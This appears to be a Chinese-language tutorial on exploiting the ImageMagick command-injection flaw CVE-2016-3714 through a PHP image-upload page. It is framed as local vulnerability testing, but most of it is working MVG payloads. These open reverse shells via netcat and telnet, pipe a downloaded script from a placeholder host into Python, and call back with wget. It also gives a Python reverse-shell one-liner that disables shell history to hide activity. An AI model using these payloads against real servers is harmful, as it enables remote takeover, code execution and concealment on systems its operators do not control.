ImageMagick 漏洞测试

  5月3日,图像处理软件ImageMagick就被公布出一个严重的0day漏洞(CVE-2016-3714),攻击者通过此漏洞可执行任意命令,最终窃取重要信息取得服务器控制权。由此漏洞延伸,ImageMagick被许多编程语言所支持,包括Perl,C++,PHP(通过imagick拓展),Python和Ruby等,并被部署在数以百万计的网站,博客,社交媒体平台和流行的内容管理系统(CMS),例如WordPress和Drupal。

    利用这个漏洞,可以通过上传一张含有恶意代码的图片,可导致命令执行。这里我们主要讲的是如何测试漏洞,可以写文件、反弹shell、wget等。本地搭建一个测试环境,在kali2.0中,lamp环境下,安装了php的imagick扩展,调用ImageMagick进行上传的图片处理
<?php
if ($_FILES["file"]["error"]> 0) {
    echo "Error: " . $_FILES["file"]["error"] . "";
}
else {
    $temp_file = $_FILES["file"]["tmp_name"];
    $dest_file = "./images/".md5(uniqid(rand())).".png";
    $thumb = new Imagick();
    $thumb->readImage($temp_file);
    $thumb->writeImage($dest_file);
    $thumb->clear();
    $thumb->destroy();
    unlink($temp_file);
    echo $dest_file;
}
?>

1. netcat

前提是server服务器上安装了netcat,poc如下

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|nc xxx.xxx.xxx.xxx 2015 -e /bin/bash")'
pop graphic-context

在反弹的监听主机上监听

nc -l -vv -p 2015

测试处,点击上传后 poc

2. telnet

telnet在linux的各大发行版中telnet一般默认安装,poc如下

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|telnet x.x.x.x 2015")'
pop graphic-context

在反弹的监听主机上监听,指令同上 poc

3. curl&python

利用curl下载python文件后,执行python脚本反弹

push graphic-context
viewbox 0 0 640 480
fill 'url(https://1"||curl -sS http://x.x.x.x/test.py | python")'
pop graphic-contex

这里需要一个外网服务器存放你的脚本,python脚本内容如下

import os,socket,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2015));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.unsetenv("HISTFILE");os.unsetenv("HISTFILESIZE");os.unsetenv("HISTSIZE");os.unsetenv("HISTORY");os.unsetenv("HISTSAVE");os.unsetenv("HISTZONE");os.unsetenv("HISTLOG");os.unsetenv("HISTCMD");os.putenv("HISTFILE","/dev/null");os.putenv("HISTSIZE","0");os.putenv("HISTFILESIZE","0");pty.spawn("/bin/sh");s.close()

注意更改脚本里的反弹ip和端口,测试成功 poc

4. wget

在远程服务上写个php脚本记录访问ip,

<?php
$ip = $_SERVER['REMOTE_ADDR'];
file_put_contents("log.txt", "ping from ".$ip, FILE_APPEND);
?>

poc如下

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|wget http://x.x.x.x/img.php")'
pop graphic-context

命令执行成功,则在log.txt中会记录来访ip poc

results matching ""

    No results matching ""